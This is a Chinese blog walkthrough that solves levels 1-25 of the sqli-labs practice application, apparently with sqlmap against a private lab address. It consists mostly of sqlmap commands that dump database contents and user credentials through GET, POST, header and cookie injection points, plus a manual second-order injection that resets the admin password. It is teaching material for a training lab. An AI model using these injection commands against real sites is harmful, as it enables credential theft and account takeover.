相关阅读
使用SQLMAP的通用思路
只要找到注入点,直接一把梭就完事了
![图片[1]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521031334693.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
譬如我们这里看到sqli-labs的带参数的注入点大概率是?id=1
![图片[2]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521031424808-1024x316.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
那我们直接用sqlmap跑就行了
查看数据库
sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 --dbs
如果能够爆出数据库,我们接下来的操作就是固定的
![图片[3]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521031547236.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
查看数据表
譬如我们想看security
这个数据库下有什么表
sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 -D security --tables
![图片[4]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521031709402.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
查看列字段有哪些
查看security
数据库下的users
表里都有哪些字段
sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 -D security -T users --columns
![图片[5]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521031820596.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
查看列字段的具体值
查看security
数据库下的users
表里的id
、password
、username
有哪些值
sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 -D security -T users --columns id,password,username --dump
![图片[6]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521031936550.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
这时里面的账户数据一目了然,这就是完整的操作流程,所以我们一旦能找到注入点,并成功日出数据库,游戏结束,后面的动作都是一样的,因此,我们在后面的通关方法中,只给出日出数据库的操作便算作完成!
sqli-labs第一关
sqlmap -u http://192.168.10.215/sqli-labs/Less-1/?id=1 --dbs
![图片[7]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521020437394.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第二关
sqlmap -u http://192.168.10.215/sqli-labs/Less-2/?id=1 --dbs
![图片[8]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521025438712.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第三关
sqlmap -u http://192.168.10.215/sqli-labs/Less-3/?id=1 --dbs
![图片[9]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521025556142.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第四关
sqlmap -u http://192.168.10.215/sqli-labs/Less-4/?id=1 --dbs
![图片[10]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521025912782.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第五关
sqlmap -u http://192.168.10.215/sqli-labs/Less-5/?id=1 --dbs
![图片[11]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521030015697.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第六关
sqlmap -u http://192.168.10.215/sqli-labs/Less-6/?id=1 --dbs
![图片[12]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521030131484.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第七关
sqlmap -u http://192.168.10.215/sqli-labs/Less-7/?id=1 --dbs
![图片[13]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521030309434.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第八关
sqlmap -u http://192.168.10.215/sqli-labs/Less-8/?id=1 --dbs
![图片[14]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521030419901.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第九关
sqlmap -u http://192.168.10.215/sqli-labs/Less-9/?id=1 --dbs
![图片[15]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521030630572.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第十关
sqlmap -u http://192.168.10.215/sqli-labs/Less-10/?id=1 -level=2 --dbs
![图片[16]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220521031019901.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第十一关
从十一关开始,注入位置会发生变化,之前都是从GET的URL部分注入的,现在这里是从POST请求中的Payload进行注入的,因此我们的命令也相应发生了变化,需要使用--data
来定义payload的内容
sqlmap -u http://192.168.10.215/sqli-labs/Less-11/index.php --data "uname=1&passwd=11&submit=Submit" --dbs
![图片[17]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220523073811259.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第十二关
sqlmap -u http://192.168.10.215/sqli-labs/Less-12/index.php --data "uname=1&passwd=11&submit=Submit" --dbs
![图片[18]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220523074104526-1024x643.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第十三关
sqlmap -u http://192.168.10.215/sqli-labs/Less-13/index.php --data "uname=1&passwd=11&submit=Submit" --dbs
![图片[19]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220523074615996-1024x614.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第十四关
sqlmap -u http://192.168.10.215/sqli-labs/Less-14/index.php --data "uname=1&passwd=11&submit=Submit" --dbs
![图片[20]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220523074822278-1024x624.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第十五关
sqlmap -u http://192.168.10.215/sqli-labs/Less-15/index.php --data "uname=1&passwd=11&submit=Submit" --dbs
![图片[21]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220523080150174-1024x667.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第十六关
sqlmap -u http://192.168.10.215/sqli-labs/Less-16/index.php --data "uname=1&passwd=11&submit=Submit" --dbs --level=2
![图片[22]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220523082148862-1024x638.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第十七关
sqlmap -u http://192.168.10.215/sqli-labs/Less-17/index.php --data "uname=admin&passwd=admin&submit=Submit" --dbs
![图片[23]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220523092124227-1024x633.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第十八关
这一关注入位置就在User-Agent
中
sqlmap -u "http://192.168.10.215/sqli-labs/Less-18/" --data="uname=admin&passwd=admin&submit=Submit" --user-agent="*" --thread=10 --dbs
![图片[24]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220525074311113-1024x604.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第十九关
这一关注入点位置就在Referer
中
sqlmap -u "http://192.168.10.215/sqli-labs/Less-19/" --data="uname=admin&passwd=admin&submit=Submit" --referer="*" --thread=10 --dbs
![图片[25]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220525075123986-1024x606.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第二十关
这一关注入点位置就在Cookie
中
sqlmap -u http://192.168.10.215/sqli-labs/Less-20/index.php --cookie="uname=admin" --dbs
![图片[26]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220525075435688-1024x540.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第二十一关
这一关注入点位置仍然在Cookie
中,但是uname=
后面使用了base64编码,因此我们这里要引入--tamper "base64encode.py"
来做base64编码
sqlmap -u http://192.168.10.215/sqli-labs/Less-21/index.php --cookie="uname=*" --dbs --tamper "base64encode.py"
![图片[27]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220525083056528-1024x586.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第二十二关
这一关注入点位置仍然在Cookie
中,同二十一关类似,uname=
后面使用了base64编码,因此我们这里要引入--tamper "base64encode.py"
来做base64编码
sqlmap -u http://192.168.10.215/sqli-labs/Less-22/index.php --cookie="uname=*" --dbs --tamper "base64encode.py"
![图片[28]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220525151754769-1024x575.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第二十三关
第二十三关又回到了get请求,因此我们直接注入就好来
sqlmap -u http://192.168.10.215/sqli-labs/Less-23/?id=1 --dbs
![图片[29]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220525152224897-1024x681.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第二十四关
二次注入,在这里似乎用不了sqlmap了,需要手工完成
先注册一个新的用户,用户名为类似下面这种
admin'#fancypig
![图片[30]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220526003406172.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
![图片[31]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220526003139159-1024x352.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
可以看到表里新增一个用户
![图片[32]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220526003329755.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
然后修改密码为fancypig666
![图片[33]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220526003441271.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
点击Reset
![图片[34]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220526003500154.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
观察数据库会发现admin的密码被改了,注入到此结束
![图片[35]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220526003521882.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
sqli-labs第二十五关
sqlmap -u http://192.168.10.215/sqli-labs/Less-25/?id=1 --dbs
![图片[36]-使用SQLMAP完成sqli-labs全攻略(1-25关)-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/05/20220525154154162-1024x524.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
- 最新
- 最热
只看作者